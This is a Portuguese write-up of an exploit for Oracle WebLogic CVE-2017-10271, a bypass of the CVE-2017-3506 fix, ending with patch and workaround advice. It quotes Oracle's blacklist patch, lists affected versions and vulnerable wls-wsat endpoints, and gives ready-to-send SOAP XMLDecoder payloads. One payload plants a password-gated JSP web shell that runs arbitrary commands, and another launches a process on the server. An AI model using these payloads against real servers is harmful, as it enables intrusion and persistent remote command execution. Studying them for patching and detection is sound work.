
Exploit para Oracle WebLogic CVE-2017-10271 (wls-wsat RCE bypass) com scripts PoC para execução remota de comandos e obtenção de um shell cmd em servidores vulneráveis.
mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506
No início, hackers utilizaram a vulnerabilidade do componente WLS do WebLogic para realizar ataques remotos em larga escala contra servidores empresariais, resultando na invasão de muitos servidores corporativos, com um claro aumento no número de empresas atacadas, exigindo atenção redobrada. A CVE-2017-3506 é uma vulnerabilidade de execução remota de código no componente WLS do Oracle WebLogic, sendo uma falha explorada no ambiente real sem divulgação de detalhes. Muitas empresas ainda não instalaram os patches a tempo. A Oracle lançou um patch para essa vulnerabilidade em abril de 2017.
Nota do patch da CVE-2017-3506:
public WorkContextXmlInputAdapter(InputStream is)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try
{
int next = 0;
next = is.read();
while (next != -1)
{
baos.write(next);
next = is.read();
}
}
catch (Exception e)
{
throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is)
{
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{
public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException
{
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
}
catch (ParserConfigurationException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (SAXException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (IOException e)
{
throw new IllegalStateException("Parser Exception", e);
}
}
Apenas adicionou uma função validate antes da desserialização. Se o qName for igual a "object", lança uma exceção e encerra. Simples e violento, porém essa correção baseada em lista negra dificilmente será completamente eficaz. Vale a pena refletir…
O método de exploração desta vulnerabilidade é relativamente simples: o invasor só precisa enviar uma requisição HTTP cuidadosamente construída para obter acesso ao servidor alvo, causando danos enormes. Como a vulnerabilidade é recente, muitos hosts ainda não atualizaram os patches. Prevê-se que, após este incidente repentino, o número de ataques possa aumentar drasticamente e muitos novos hosts sejam comprometidos.
O patch de abril da Oracle para a CVE-2017-3506 não corrigiu completamente a vulnerabilidade, sendo possível contorná-lo e ainda executar comandos remotos. A CVE-2017-10271, que atualmente permite esse bypass, foi corrigida no patch de outubro lançado oficialmente.
CVE-2017-10271 (vulnerabilidade de bypass de execução remota de comandos no wls-wsat)
Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.1.0
Oracle WebLogic Server 12.2.1.2.0
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
} %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
exploit
exploit
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
exploit
exploit
exploit

Atualizar para o patch de outubro da Oracle.
http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html https://lipeng1943.com/download/weblogic_patch-catalog_25504.zip
Controlar o acesso aos recursos do wls-wsat.
Solução temporária
Caso não afete os negócios, de acordo com o caminho real do ambiente, excluir os seguintes arquivos war e diretórios do WebLogic:
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
Reiniciar o serviço WebLogic ou o sistema e verificar se os seguintes links retornam 404: